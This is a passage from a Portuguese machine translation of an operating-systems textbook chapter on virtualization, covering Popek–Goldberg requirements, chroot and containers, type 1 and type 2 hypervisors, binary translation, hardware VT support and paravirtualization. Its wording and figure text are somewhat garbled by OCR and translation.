antes de se tornar popular no x86. 

Em 1974, dois cientistas da computação da UCLA, Gerald Popek e Robert Goldberg, publicaram 
um artigo seminal (“Formal Requirements for Virtualizable Third 
Generation Architectures") que listavam exatamente quais condições uma arquitetura de computador 
deveria satisfazer para suportar a virtualização de forma eficiente (Popek e Goldberg, 1974). É 
impossível escrever um capítulo sobre virtualização sem referir 
seu trabalho e terminologia. Notoriamente, a conhecida arquitetura x86 que também 
originado na década de 1970 não atendeu a esses requisitos durante décadas. Não foi o 
apenas um. Quase todas as arquiteturas desde o mainframe também falharam no teste. O 
A década de 1970 foi muito produtiva, vendo também o nascimento do UNIX, Ethernet, o Cray-1, 
Microsoft e Apple — então, apesar do que seus pais possam dizer, a década de 1970 não foi 
quase discoteca! 

Na verdade, a verdadeira revolução Disco começou na década de 1990, quando pesquisadores 
da Universidade de Stanford desenvolveram um novo hipervisor com esse nome e fundaram 
VMware, gigante da virtualização que oferece hipervisores tipo 1 e tipo 2 e agora 
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arrecada bilhões de dólares em receitas (Bugnion et al., 1997, Bugnion et al., 2012). 

Aliás, a distinção entre hipervisores “tipo 1” e “tipo 2” também data da década de setenta 
(Goldberg, 1972). A VMware lançou sua primeira solução de virtualização para x86 em 1999. 
Outros produtos se seguiram: Xen, KVM, Virtu alBox, Hyper-V, Parallels e muitos outros. 
Parece que era o momento certo para a virtualização, embora a teoria tenha sido definida em 
1974 e durante décadas a IBM tenha vendido computadores que suportavam — e utilizavam 
intensamente — a virtualização. 

Em 1999, tornou-se popular entre as massas, mas não era novidade, apesar da enorme 
atenção que de repente ganhou. 

A virtualização em nível de sistema operacional, embora não seja tão antiga quanto os 
hipervisores, também tem uma história que remonta a algum tempo. Em 1979, o UNIX v7 
introduziu uma nova chamada de sistema: chroot (alterar root). A chamada do sistema toma 
como argumento único um nome de caminho, por exemplo /home/hjb/my new root, que é onde 
criará um novo diretório "root" para o processo atual e todos os seus filhos. Assim, quando o 
processo lê um arquivo /README.txt (um arquivo no diretório raiz), ele realmente acessa / 
home/hjb/my new root/ README.txt. Em outras palavras, o sistema operacional criou um 
ambiente separado no disco ao qual o processo está confinado. Ele não pode acessar arquivos 
de diretórios que não sejam aqueles na subárvore abaixo da nova raiz (e é melhor nos 
certificarmos de que todos os arquivos que o processo precisa estarão nesta subárvore, porque 
eles são literalmente tudo o que ele pode acessar). 

Uma alma gentil pode considerar isso suficiente para ser chamado de ambiente virtual, 
mas claramente é uma versão extremamente pobre disso. Por exemplo, embora a visibilidade 
do sistema de arquivos seja limitada a uma subárvore, não há isolamento de processos ou de 
seus privilégios. Assim, um processo dentro da subárvore ainda pode enviar sinais para 
processos fora da subárvore. Da mesma forma, um processo com privilégios de administrador 
(ou "root") não pode ser adequadamente bloqueado dentro da subárvore chroot : tendo 
privilégios de root, ele pode fazer qualquer coisa, inclusive sair do espaço confinado de nomes 
de arquivos. Outro problema é que processos em diferentes subárvores chroot ainda têm 
acesso a todos os endereços IP atribuídos à máquina e não há isolamento entre os pacotes 
enviados deste processo e aqueles enviados por processos em outras subárvores. Em outras 
palavras, estas não são máquinas virtuais. 

Em 2000, Poul-Henning Kamp e Robert Watson estenderam o isolamento do chroot no 
sistema operacional FreeBSD para criar o que eles cnamaram de FreeBSD Jails (Kamp e 
Watson, 2000). Eles particionaram os recursos de forma muito mais difundida: as prisões 
tinham seus próprios espaços de nome de sistema de arquivos, seus próprios endereços IP, 
seus próprios processos raiz (limitados), etc. Sua solução elegante foi extremamente influente 
e logo recursos semelhantes apareceram em outros sistemas operacionais, muitas vezes 
particionando até mesmo mais recursos, como memória ou uso de CPU. Em 2008, o Linux 
Containers (LXC) foi lançado. Com base em um projeto anterior de particionamento de recursos 
do Google, o LXC oferece particionamento de recursos de uma coleção de processos por meio 
de contêineres. No entanto, a popularidade dos containers realmente explodiu com o lançamento do Docker er 
O Docker usa virtualização em nível de sistema operacional para permitir que o software seja empacotado em 


contêineres que contêm todo o código, bibliotecas e arquivos de configuração necessários para executá-lo. 
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Muitas pessoas usam o termo “virtualização” para se referir exclusivamente a soluções 
baseadas em hipervisores e usam o termo “containerização” para falar sobre virtualização em nível 
de sistema operacional. Embora enfatizemos que na realidade ambas são formas de virtualização, 
adotamos relutantemente a mesma convenção neste capítulo. Portanto, a menos que digamos 
explicitamente o contrário (por exemplo, quando falamos sobre contêineres), você pode assumir 
que doravante a virtualização se refere à variedade de hipervisores. 


7.2 REQUISITOS PARA VIRTUALIZAÇÃO 


Se deixarmos de lado a virtualização no nível do sistema operacional, é importante que as 
máquinas virtuais atuem como o McCoy real. Em particular, deve ser possível inicializá-los como 
máquinas reais e instalar sistemas operacionais arbitrários nelas, assim como pode ser feito no 
hardware real. É tarefa do hipervisor fornecer essa ilusão e fazê-lo com eficiência. Na verdade, os 
hipervisores devem ter uma boa pontuação em três dimensões: 


1. Segurança: O hipervisor deve ter controle total do virtualizado 
recursos. 


2. Fidelidade: O comportamento de um programa em uma máquina virtual deve ser 
idêntico ao do mesmo programa executado em hardware simples. 


3. Eficiência: Grande parte do código na máquina virtual deve ser executado sem 
intervenção do hipervisor. 


Uma maneira inquestionavelmente segura de executar as instruções é considerar cada 
instrução por vez em um intérprete (como Bochs) e executar exatamente o que é necessário para 
aquela instrução. Algumas instruções podem ser executadas diretamente, mas não muitas. Por 
exemplo, o intérprete pode ser capaz de executar uma instrução INC (incremento) simplesmente 
como está, mas as instruções que não são seguras para serem executadas diretamente devem ser 
simuladas pelo intérprete. Por exemplo, não podemos realmente permitir que o sistema operacional 
convidado desabilite interrupções para toda a máquina ou modifique os mapeamentos da tabela de 
páginas. O truque é fazer com que o sistema operacional no topo do hipervisor pense que desativou 
as interrupções ou alterou os mapeamentos de páginas da máquina. Veremos como isso é feito 
mais tarde. Por enquanto, queremos apenas dizer que o intérprete pode ser seguro e, se 
implementado com cuidado, talvez até hi-fi, mas o desempenho é uma droga. 

Para satisfazer também o critério de desempenho, veremos que os VMMs tentam executar a maior 
parte do código diretamente. 

Agora vamos nos voltar para a fidelidade. A virtualização tem sido um problema na arquitetura 
x86 devido a defeitos na arquitetura Intel 386 que foram automaticamente transportados para 
novas CPUs durante 20 anos em nome da compatibilidade com versões anteriores. Resumindo, 
cada CPU com modo kernel e modo de usuário possui um conjunto de instruções que se comportam 
de maneira diferente quando executadas em modo kernel e quando executadas em modo de 
usuário. Isso inclui instruções que fazem E/S, alteram as configurações da MMU e assim por diante. 
Popek e Goldberg cnamaram essas instruções de sensíveis. Há também um conjunto de 


Machine Translated by Google 


SEC. 7.2 REQUISITOS PARA VIRTUALIZAÇÃO 483 


instruções que causam uma armadilha se executadas no modo de usuário. Popek e Goldberg 
chamaram isso de instruções privilegiadas. O artigo deles afirmou pela primeira vez que uma 
máquina só é virtualizável se as instruções sensíveis forem um subconjunto das instruções 
privilegiadas. Em linguagem mais simples, se você tentar fazer algo no modo de usuário que não 
deveria estar fazendo no modo de usuário, o hardware deverá interceptar. Ao contrário do IBM/ 
370, que tinha essa propriedade, o 386 da Intel não tinha. Muitas instruções 386 sensíveis foram 
ignoradas se executadas no modo de usuário ou executadas com comportamento diferente. Por 
exemplo, a instrução POPF substitui o registrador de flags, que altera o bit que habilita/desabilita 
interrupções. No modo usuário, esse bit simplesmente não é alterado. Como consequência, o 386 
e seus sucessores não podiam ser virtualizados, portanto não podiam suportar diretamente um 
hipervisor. 

Na verdade, a situação é ainda pior do que se imaginava. Além dos problemas com instruções 
que não conseguem interceptar no modo de usuário, há instruções que podem ler o estado 
sensível no modo de usuário sem causar uma interceptação. Por exemplo, em processadores 
x86 anteriores a 2005, um programa pode determinar se está sendo executado em modo de 
usuário ou em modo kernel lendo seu seletor de segmento de código. Um sistema operacional 
que fizesse isso e descobrisse que estava realmente no modo de usuário poderia tomar uma 
decisão incorreta com base nessas informações. 

Este problema foi finalmente resolvido quando a Intel e a AMD introduziram a virtualização 
em suas CPUs a partir de 2005 (Uhlig et al., 2005). Nas CPUs Intel é chamada de VT (Tecnologia 
de Virtualização); nas CPUs AMD é chamado SVM (Secure Virtual Machine). Usaremos o 
termo VT em um sentido genérico a seguir. Ambos foram inspirados no trabalho do IBM VM/370, 
mas são um pouco diferentes. A ideia básica é criar ambientes nos quais máquinas virtuais 
possam ser executadas. Quando um sistema operacional convidado é inicializado em um 
ambiente, ele continua em execução até causar uma exceção e interceptar o hipervisor, por 
exemplo, executando uma instrução de E/S. O conjunto de operações que interceptam é 
controlado por um bitmap de hardware definido pelo hipervisor. Com essas extensões, a 
abordagem clássica de máquina virtual de capturar e emular torna-se possível. 


O leitor astuto pode ter notado uma aparente contradição na descrição até agora. Por um 
lado, dissemos que o x86 não era virtualizável até as extensões de arquitetura introduzidas em 
2005. Por outro lado, vimos que a VMware lançou seu primeiro hipervisor x86 em 1999. Como 
ambos podem ser verdadeiros ao mesmo tempo? A resposta é que os hipervisores anteriores a 
2005 não executavam realmente o sistema operacional convidado original. Em vez disso, eles 
reescreveram parte do código dinamicamente para substituir instruções problemáticas por 
sequências de código seguras que emulassem a instrução original. Suponha, por exemplo, que 
o sistema operacional convidado execute uma instrução de E/S privilegiada ou modifique um dos 
registradores de controle privilegiados da CPU (como o registrador CR3 que contém um ponteiro 
para o diretório da página). É importante que as consequências de tais instruções sejam limitadas 
a esta máquina virtual e não afetem outras máquinas virtuais ou o próprio hipervisor. Assim, uma 
instrução de E/S insegura foi substituída por um trap que, após uma verificação de segurança, 
executou uma instrução equivalente e retornou o resultado. Como estamos reescrevendo, 
podemos 
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use o truque para substituir instruções confidenciais, mas não privilegiadas. Outro 
as instruções são executadas nativamente. A técnica é conhecida como tradução binária; nós 
discutiremos isso com mais detalhes na Seç. 7.4. 

Não há necessidade de reescrever todas as instruções confidenciais. Em particular, os processos do 
usuário no convidado normalmente podem ser executados sem modificação. Se a instrução não for 
privilegiada, mas sensível, e se comportar de maneira diferente nos processos do usuário e no kernel, 
está bem. De qualquer forma, estamos executando-o na área do usuário. Para instruções sensíveis que são 
privilegiados, podemos recorrer ao clássico trap-and-emulate, como sempre. Claro, o 
O VMM deve garantir que receberá as armadilhas correspondentes. Normalmente, o VMM 
possui um módulo que executa no kernel e redireciona as armadilhas para seus próprios manipuladores. 

Uma forma diferente de virtualização é conhecida como paravirtualização. É bastante 
diferente da virtualização completa, porque nunca pretende apresentar um ambiente virtual 
máquina que se parece exatamente com o hardware subjacente real. Em vez disso, apresenta uma 
interface de software semelhante a uma máquina que expõe explicitamente o fato de que se trata de um 
ambiente virtualizado. Por exemplo, oferece um conjunto de hiperchamadas, que permitem ao 
convidado envie solicitações explícitas ao hipervisor (da mesma forma que uma chamada de sistema 
oferece serviços de kernel para aplicativos). Os convidados usam hiperchamadas para operações 
confidenciais privilegiadas, como atualizar as tabelas de páginas, mas porque fazem isso explicitamente em cooperação. 
com o hipervisor, o sistema geral pode ser mais simples e rápido. 

Não deveria ser surpresa que a paravirtualização também não seja nova. da IBM 
O sistema operacional VM ofereceu tal recurso, embora com um nome diferente, 
desde 1972. A ideia foi revivida pelo Denali (Whitaker et al., 2002) e Xen 
(Barham et al., 2003) monitores de máquinas virtuais. Em comparação com a virtualização completa, 

a desvantagem da paravirtualização é que o hóspede precisa estar ciente do ambiente virtual 
API da máquina. Isso significa que ele precisa ser customizado explicitamente para o hipervisor. 

Antes de nos aprofundarmos nos hipervisores tipo 1 e tipo 2, é importante 
É preciso mencionar que nem toda tecnologia de virtualização tenta fazer com que o hóspede acredite que 
possui todo o sistema. Às vezes, o objetivo é simplesmente permitir que um processo 
run que foi originalmente escrito para um sistema operacional e/ou arquitetura diferente. 

Portanto, distinguimos entre virtualização completa do sistema e virtualização em nível de processo. 
Embora nos concentremos no primeiro no restante deste capítulo, a tecnologia de virtualização em nível 

de processo também é usada na prática. Exemplos bem conhecidos 

incluem a camada de compatibilidade WINE que permite que aplicativos do Windows sejam executados em 
Sistemas compatíveis com POSIX, como Linux, BSD e macOS, e a versão em nível de processo do 


emulador QEMU que permite que aplicativos de uma arquitetura sejam executados em 
outro. 


7.3 HIPERVISORES TIPO 1 E TIPO 2 


Goldberg (1972) distinguiu entre duas abordagens para virtualização. Um 
Um tipo de hipervisor, denominado hipervisor tipo 1, é ilustrado na Figura 7.1(a). Tecnicamente, é como 
um sistema operacional, pois é o único programa executado no 
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modo mais privilegiado. Sua função é suportar múltiplas cópias do hardware real, 
chamadas máquinas virtuais, semelhantes aos processos executados por um sistema operacional normal. 


Guest OS process 


Excel Word Mplayer Emacs Host OS 


process 


(e-g., Windows) 


Type 2 hypervisor 


Linux) 


Hardware 


Type 1 hypervisor 


Hardware 
(CPU, disk, network, interrupts, etc.) (CPU, disk, network, interrupts, etc.) 
{a) (b) 


Figura 7-1. Localização dos hipervisores tipo 1 e tipo 2. 


Em contraste, um hipervisor tipo 2, mostrado na Figura 7.1(b), é um tipo diferente de 
animal. É um programa que depende, digamos, do Windows ou do Linux para alocar e 
agendar recursos, muito parecido com um processo normal. Claro, o hipervisor tipo 2 ainda finge ser um 
computador completo com CPU e vários dispositivos. Ambos 
tipos de hipervisor devem executar o conjunto de instruções da máquina de maneira segura. 
Por exemplo, um sistema operacional executado no hipervisor pode mudar e 
até bagunçar suas próprias tabelas de páginas, mas não as de outros. 
O sistema operacional executado no hipervisor em ambos os casos é cnamado 
o sistema operacional convidado. Para um hipervisor tipo 2, o sistema operacional em execução 
no hardware é chamado de sistema operacional host. O primeiro hipervisor tipo 2 
no mercado x86 estava o VMware Workstation (Bugnion et al., 2012). Nesta seção, apresentamos a ideia 
geral. Um estudo mais detalhado da VMware segue em 
Seg. 7.12. 
Os hipervisores tipo 2, às vezes chamados de hipervisores hospedados, dependem para 
grande parte de sua funcionalidade em um sistema operacional host, como Windows, Linux ou 
Mac OS. Quando é iniciado pela primeira vez, ele age como um computador recém-iniciado e 
espera encontrar um DVD, unidade USB ou CD-ROM contendo um sistema operacional em 
a unidade. Desta vez, porém, a unidade poderia ser um dispositivo virtual. Por exemplo, é 
possível armazenar a imagem como um arquivo ISO no disco rígido do host e ter o 
hipervisor finge que está lendo de uma unidade de DVD adequada. Em seguida, ele instala o sistema 
operacional em seu disco virtual (novamente, apenas um Windows, Linux ou macOS). 
arquivo) executando o programa de instalação encontrado no DVD. Depois que o sistema operacional 
convidado estiver instalado no disco virtual, ele poderá ser inicializado e executado. Desconhece 
completamente que foi enganado. 
As várias categorias de virtualização que discutimos estão resumidas em 
a tabela da Figura 7-2 para hipervisores tipo 1 e tipo 2. Para cada combinação 
de hipervisor e tipo de virtualização, são dados alguns exemplos. 
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Método de virtualização 


Virtualização de hipervisor Hiper viseira tipo 2 


Paravirtualização Xen 1.0 


| Estação de trabalho VMware 1 
| VirtualBox 5.0+ 


Virtualização com suporte de HW vSphere, Xen, Hyper-V VMware Fusion, KVM, Parallels 


Virtualização de processos Vinho 


tipo 1 sem suporte de HW ESX Server 1.0 | 


Figura 7-2. Exemplos de hipervisores. Hipervisores tipo 1 são executados em bare metal, 
enquanto os hipervisores tipo 2 usam os serviços de um sistema operacional host existente. 


7.4 TÉCNICAS PARA VIRTUALIZAÇÃO EFICIENTE 


Virtualização e desempenho são questões importantes, então vamos examiná-las 
mais perto. Suponha, por enquanto, que temos um hipervisor tipo 1 suportando uma máquina virtual, como 
mostrado na Figura 7.3. Como todos os hipervisores tipo 1, 
funciona no metal puro. A máquina virtual é executada como um processo de usuário no modo de usuário, 
e como tal não é permitido executar instruções sensíveis (no Popek-Goldberg 
senso). No entanto, a máquina virtual executa um sistema operacional convidado que pensa que está 
no modo kernel (embora, é claro, não seja). Chamaremos esse kernel virtual 
modo. A máquina virtual também executa processos de usuário, que pensam que estão no usuário 
modo (e realmente estão no modo de usuário). 


Processo do usuário 
Modo de usuário virtual 
Virtual Do utilizador 


máquina modo 
Modo kernel virtual 


Sistema operacional convidado 


Núcleo 
Hipervisor tipo 1 Armadilha na instrução privilegiada modo 


Hardware 


Figura 7-3. Quando o sistema operacional em uma máquina virtual executa uma instrução apenas 
do kernel, ele intercepta o hipervisor se a tecnologia de virtualização estiver presente. 


O que acontece quando o sistema operacional convidado (que pensa que está no kernel 
mode) executa uma instrução que é permitida somente quando a CPU realmente está no kernel 
modo? Normalmente, em CPUs sem VT, a instrução falha e o sistema operacional trava. Em CPUs com VT, 
quando o sistema operacional convidado executa uma instrução sensível, ocorre uma armadilha para o 
hipervisor, conforme ilustrado na Figura 7.3. O 
O hipervisor pode então inspecionar a instrução para ver se ela foi emitida pelo sistema operacional 
convidado na máquina virtual ou por um programa de usuário na máquina virtual. Em 


no primeiro caso, providencia a execução da instrução; neste último caso, é 
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emula o que o hardware real faria quando confrontado com uma instrução sensível executada no modo 
de usuário. 


7.4.1 Virtualizando o Não Virtualizável 


Construir um sistema de máquina virtual é relativamente simples quando o VT está disponível, 
mas o que as pessoas faziam antes disso? Por exemplo, a VMware lançou um hipervisor bem antes 
da chegada das extensões de virtualização no x86. 

Novamente, a resposta é que os engenheiros de software que construíram esses sistemas fizeram uso 
inteligente da tradução binária e dos recursos de hardware que existiam no x86, como os anéis de 
proteção do processador. 

Por muitos anos, o x86 suportou quatro modos ou anéis de proteção. O anel 3 é o menos 
privilegiado. É aqui que os processos normais do usuário são executados. Neste anel você não pode 
executar instruções privilegiadas. O anel O é o anel mais privilegiado que permite a execução de 
qualquer instrução. Na operação normal, o kernel é executado no anel 0. Os dois anéis restantes não 
são usados por nenhum sistema operacional atual. Em outras palavras, os hipervisores eram livres 
para usá-los como quisessem. Como mostrado na Figura 7-4, muitas soluções de virtualização 
mantiveram o hipervisor no modo kernel (anel 0) e as aplicações no modo de usuário (anel 3), mas 
colocaram o sistema operacional convidado em uma camada de privilégio intermediário (anel 1). ). 
Como resultado, o kernel é privilegiado em relação aos processos do usuário e qualquer tentativa de 
acessar a memória do kernel a partir de um programa do usuário leva a uma violação de acesso. Ao 
mesmo tempo, as instruções privilegiadas do sistema operacional convidado são interceptadas pelo 
hipervisor. O hipervisor faz algumas verificações de integridade e depois executa as instruções em 


nome do convidado. 
Processo do usuário 
O O E 
Máquina 


l 
: l 
virtual ! | anel 2 


Sistema operacional convidado o 
anel 1 


(Reescrever o binário antes da execução + emular) 


Hipervisor tipo 1 anel O 


Hardware 


Figura 7-4. O tradutor binário reescreve o sistema operacional convidado em execução no 
anel 1, enquanto o hipervisor é executado no anel 0. 


Quanto às instruções confidenciais no código do kernel do convidado: o hipervisor garante que 
elas não existam mais. Para fazer isso, ele reescreve o código, um bloco básico por vez. Um bloco 
básico é uma sequência curta e em linha reta de instruções que termina com 


Machine Translated by Google 


488 VIRTUALIZAÇÃO E A NUVEM INDIVÍDUO. 7 


um ramo. Por definição, um bloco básico não contém nenhuma instrução de salto, chamada, armadilha, 
retorno ou outra instrução que altere o fluxo de controle, exceto a última instrução que faz exatamente 
isso. Pouco antes de executar um bloco básico, o hipervisor primeiro o verifica para ver se contém 
instruções confidenciais (no sentido de Popek e Goldberg) e, em caso afirmativo, as substitui por uma 
chamada a um procedimento do hipervisor que as trata. A ramificação na última instrução também é 
substituída por uma chamada ao hipervisor (para garantir que ele possa repetir o procedimento para 
o próximo bloco básico). A tradução dinâmica e a emulação parecem caras, mas normalmente não 
são. Os blocos traduzidos são armazenados em cache, portanto nenhuma tradução será necessária 
no futuro. Além disso, a maioria dos blocos de código não contém instruções confidenciais ou 
privilegiadas e, portanto, pode ser executada de forma nativa. Em particular, desde que o hipervisor 
configure o hardware cuidadosamente (como é feito, por exemplo, pela VMware), o tradutor binário 
pode ignorar todos os processos do usuário; eles são executados em modo não privilegiado de 
qualquer maneira. 

Após a conclusão da execução de um bloco básico, o controle é retornado ao hipervisor, que 
então localiza seu sucessor. Se o sucessor já tiver sido traduzido, ele poderá ser executado 
imediatamente. Caso contrário, ele será primeiro traduzido, armazenado em cache e depois 
executado. Eventualmente, a maior parte do programa estará no cache e será executada quase na 
velocidade máxima. Várias otimizações são usadas, por exemplo, se um bloco básico termina saltando 
para (ou chamando) outro, a instrução final pode ser substituída por um salto ou chamada diretamente 
para o bloco básico traduzido, eliminando toda a sobrecarga associada à localização do bloco 
sucessor. . Novamente, não há necessidade de substituir instruções confidenciais nos programas do 
usuário; o hardware irá simplesmente ignorá-los de qualquer maneira. 

Por outro lado, é comum realizar a tradução binária em todo o código do sistema operacional 
convidado em execução no anel 1 e substituir até mesmo as instruções confidenciais privilegiadas 
que, em princípio, também poderiam ser interceptadas. A razão é que as armadilhas são muito caras 
e a tradução binária leva a um melhor desempenho. 

Até agora descrevemos um hipervisor tipo 1. Embora os hipervisores tipo 2 sejam conceitualmente 
diferentes dos hipervisores tipo 1, eles usam, em geral, as mesmas técnicas. Por exemplo, o VMware 
ESX Server (um hipervisor tipo 1 lançado pela primeira vez em 2001) usou exatamente a mesma 
tradução binária que o primeiro VMware Workstation (um hipervisor tipo 2 lançado dois anos antes). 


No entanto, para executar o código convidado nativamente e usar exatamente as mesmas 
técnicas, é necessário que o hipervisor tipo 2 manipule o hardware no nível mais baixo, o que não 
pode ser feito no espaço do usuário. Por exemplo, ele deve definir os descritores de segmento 
exatamente com o valor correto para o código convidado. Para uma virtualização fiel, o sistema 
operacional convidado também deve ser levado a pensar que é o verdadeiro e único sistema 
operacional, com controle total de todos os recursos da máquina e com acesso a todo o espaço de 
endereçamento (4 GB em máquinas de 32 bits). Quando o sistema operacional convidado encontra 
outro sistema (o kernel host) ocupado em seu espaço de endereço, o primeiro não achará graça. 


Infelizmente, isso é exatamente o que acontece quando o convidado é executado como um 
processo de usuário em um sistema operacional normal. Por exemplo, no Linux, um processo de 
usuário tem acesso a apenas 3 GB do espaço de endereço de 4 GB, já que o 1 GB restante é reservado para o 
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núcleo. Qualquer acesso à memória do kernel leva a uma armadilha. Em princípio, é possível 
cair na armadilha e imitar as ações apropriadas, mas fazer isso é caro e 

normalmente requer a instalação do manipulador de trap apropriado no kernel do host. Outro 
A maneira (óbvia) de resolver o problema dos dois reis é reconfigurar o sistema para 

remova o sistema operacional do host e forneça ao convidado o endereço completo 

espaço. No entanto, claramente também não é possível fazer isso no espaço do usuário. 

Da mesma forma, o hipervisor precisa lidar com as interrupções para fazer a coisa certa, 
por exemplo, quando o disco envia uma interrupção ou ocorre uma falha de página. Além disso, se o 
hipervisor quiser usar trap-and-emulate para instruções privilegiadas, ele precisa 
receber as armadilhas. Novamente, instalar manipuladores de interceptação/interrupção no kernel não é 
possível para processos de usuário. 

A maioria dos hipervisores modernos do tipo 2, portanto, possui um módulo de kernel operando em 
anel O que permite manipular o hardware com instruções privilegiadas. De 
claro, manipulando o hardware no nível mais baixo e dando acesso ao convidado 
para o espaço de endereço completo está tudo bem, mas em algum ponto o hipervisor 
precisa limpá-lo e restaurar o contexto original do processador. Suponha, por exemplo, que o convidado 
esteja em execução quando chega uma interrupção de um dispositivo externo. 

Como um hipervisor tipo 2 depende dos drivers de dispositivo do host para lidar com a interrupção, ele 

precisa reconfigurar completamente o hardware para executar o código do sistema operacional do host. 
Quando o driver do dispositivo é executado, ele encontra tudo exatamente como esperava 

ser. O hipervisor se comporta como adolescentes dando uma festa enquanto seus pais 

estão longe. Não há problema em reorganizar completamente os móveis, desde que os coloquem 

de volta exatamente como o encontraram antes de os pais voltarem para casa. Passando de uma configuração 
de hardware para o kernel host para uma configuração para o sistema operacional convidado 

sistema é conhecido como switch mundial. Discutiremos isso em detalhes quando discutirmos 

VMware na seg. 7.12. 

Agora deve estar claro por que esses hipervisores funcionam, mesmo em ambientes não virtualizáveis. 
hardware: instruções confidenciais no kernel convidado são substituídas por cnamadas a procedimentos que 
emulam essas instruções. Nenhuma instrução sensível emitida pelo hóspede 
sistema operacional são sempre executados diretamente pelo hardware verdadeiro. Eles estão virados 
em chamadas para o hipervisor, que então as emula. 


7.4.2 O custo da virtualização 


Poderíamos ingenuamente esperar que as CPUs com VT superassem em muito as técnicas de software 
que recorrem à tradução, mas as medições mostraram um quadro misto (Adams e Agesen, 2006). Acontece 
que a abordagem armadilha e emulação 
usado pelo hardware VT gera muitas armadilhas, e as armadilhas são muito caras em hardware moderno 
porque arrufnam caches de CPU, TLBs e tabelas de previsão de ramificação 
interno da CPU. Em contraste, quando instruções sensíveis são substituídas por chamadas 
aos procedimentos do hipervisor dentro do processo de execução, nenhuma dessas sobrecargas de 
alternância de contexto é incorrida. Como mostram Adams e Agesen, dependendo da carga de trabalho, às 
vezes o software superava o hardware. Por esta razão, alguns tipos 1 (e 
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tipo 2) os hipervisores fazem tradução binária por motivos de desempenho, mesmo que o 
o software será executado corretamente sem ele. Nos últimos anos, esta situação mudou 
e CPUs e hipervisores de última geração são bastante eficientes com a virtualização de hardware. 
Por exemplo, a VMware não possui mais um tradutor binário. 
Com a tradução binária, o próprio código traduzido pode ser mais lento ou mais rápido 
do que o código original. Suponha, por exemplo, que o sistema operacional convidado desabilite as 
interrupções de hardware usando a instrução CLI (“limpar interrupções”). Dependendo 
na arquitetura, esta instrução pode ser muito lenta, levando muitas dezenas de ciclos 
certas CPUs com pipelines profundos e execução fora de ordem. Deve ficar claro por 
agora que o convidado deseja desligar as interrupções não significa que o hipervisor 
realmente deveria desligá-los e afetar toda a máquina. Assim, o hipervisor 
deve desligá-los para o hóspede sem realmente desligá-los. Para tanto, pode 
acompanhar um IF (Interrupt Flag) dedicado na estrutura de dados da CPU virtual que ele 
mantém para cada convidado (garantindo que a máquina virtual não receba nenhuma interrupção 
até que as interrupções sejam desativadas novamente). Cada ocorrência de CLI no convidado 
será substituído por algo como "VirtualCPU.IF = 0", que é uma jogada muito barata 
instrução que pode levar de um a três ciclos. Assim, o código traduzido é 
mais rápido. Ainda assim, com hardware VT moderno, geralmente o hardware supera o software. 
Por outro lado, se o sistema operacional convidado modificar suas tabelas de páginas, isso é 
muito caro. O problema é que cada sistema operacional convidado em uma máquina virtual 
pensa que é o “dono” da máquina e tem a liberdade de mapear qualquer página virtual para qualquer 
página física na memória. No entanto, se uma máquina virtual quiser usar uma página física 
que já está em uso por outra máquina virtual (ou hipervisor), algo aconteceu 
dar. Veremos na Seg. 7.6 que a solução é adicionar um nível extra de página 
tabelas para mapear "páginas físicas de convidados" para as páginas físicas reais no host. Não 
surpreendentemente, brincar com vários níveis de tabelas de páginas não é barato. 


7.5 OS MICROKERNELS DOS HIPERVISORES SÃO FEITOS CORRETAMENTE? 


Os hipervisores tipo 1 e tipo 2 funcionam com sistemas operacionais convidados não 
modificados, mas precisam passar por vários obstáculos para obter um bom desempenho. Nós vimos isso 
a paravirtualização adota uma abordagem diferente, modificando o código-fonte do 
sistema operacional convidado. Em vez de executar instruções sensíveis, o 
convidado paravirtualizado executa hiperchamadas. Na verdade, o sistema operacional convidado é 
agindo como um programa de usuário fazendo chamadas de sistema para o sistema operacional (o 
hipervisor). Quando esta rota é seguida, o hipervisor deve definir uma interface que consiste 
de um conjunto de chamadas de procedimento que os sistemas operacionais convidados podem usar. Este conjunto de chamadas 
forma o que é efetivamente uma API (Interface de Programação de Aplicativo), mesmo 
embora seja uma interface para uso por sistemas operacionais convidados, e não por programas 
aplicativos. 

Indo um passo além, removendo todas as instruções sensíveis do 
sistema operacional e apenas fazer hiperchamadas para obter serviços do sistema como E/S, 
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transformamos o hipervisor em um microkernel, como o da Figura 1.26. A ideia, 
explorado na paravirtualização, é que emular instruções de hardware peculiares é 
uma tarefa desagradável e demorada. Requer uma chamada para o hipervisor e 
emulando então a semântica exata de uma instrução complicada. É muito melhor apenas 
fazer com que o sistema operacional convidado chame o hipervisor (ou microkernel) para fazer E/S, 
e assim por diante. 

Na verdade, alguns pesquisadores argumentaram que talvez devêssemos considerar os hipervisores 
como “microkernels bem feitos” (Hand et al., 2005). A primeira coisa a mencionar 
é que este é um tema altamente controverso e alguns pesquisadores se opuseram veementemente à 
noção, argumentando que a diferença entre os dois não é fundamental para 
começar com (Heiser et al., 2006). Outros sugerem que, em comparação com microkernels, 
hipervisores podem nem ser tão adequados para construir sistemas seguros, e 
defendem que eles sejam estendidos com funcionalidades do kernel, como passagem de mensagens e 
compartilhamento de memória (Hohmuth et al., 2004). Finalmente, alguns pesquisadores fizeram a 
argumento de que talvez os hipervisores nem sejam "pesquisas de sistemas operacionais feitas 
certo" (Roscoe et al., 2007). Já que ninguém disse nada sobre sistema operacional 
livros didáticos feitos da maneira certa (ou errada) - ainda assim - achamos que acertamos ao explorar 
um pouco mais a semelhança entre hipervisores e micronúcleos. 

A principal razão pela qual os primeiros hipervisores emularam a máquina completa foi a 
falta de disponibilidade de código-fonte para o sistema operacional convidado (por exemplo, para 
Windows) ou o grande número de variantes (por exemplo, para Linux). Talvez no futuro o 
A API do hipervisor/microkernel será padronizada e os sistemas operacionais subsequentes serão 
projetados para chamá-la em vez de usar instruções confidenciais. Fazendo isso 
tornaria a tecnologia de máquina virtual mais fácil de suportar e usar. 

A diferença entre virtualização verdadeira e paravirtualização é ilustrada 
na Figura 7-5. Aqui temos duas máquinas virtuais suportadas em hardware VT. 
À esquerda está uma versão não modificada do Windows como sistema operacional convidado. 
Quando uma instrução sensível é executada, o hardware causa uma armadilha no hipervisor, que a 
emula e a retorna. À direita está uma versão do Linux modificada 
para que não contenha mais instruções confidenciais. Em vez disso, quando for necessário fazer 
E/S ou alteração de registros internos críticos (como aquele que aponta para a página 
tabelas), ele faz uma chamada de hipervisor para realizar o trabalho, assim como um programa aplicativo 
faz uma chamada de sistema no Linux padrão. 

Na Figura 7-5, mostramos o hipervisor dividido em duas partes separadas por uma linha tracejada. 
Na realidade, apenas um programa está sendo executado no hardware. 
Uma parte dele é responsável por interpretar instruções sensíveis capturadas, neste 
caso, do Windows. A outra parte apenas realiza hiperchamadas. Na figura 
a última parte é rotulada como "microkernel". Se o hipervisor se destina a ser executado apenas 
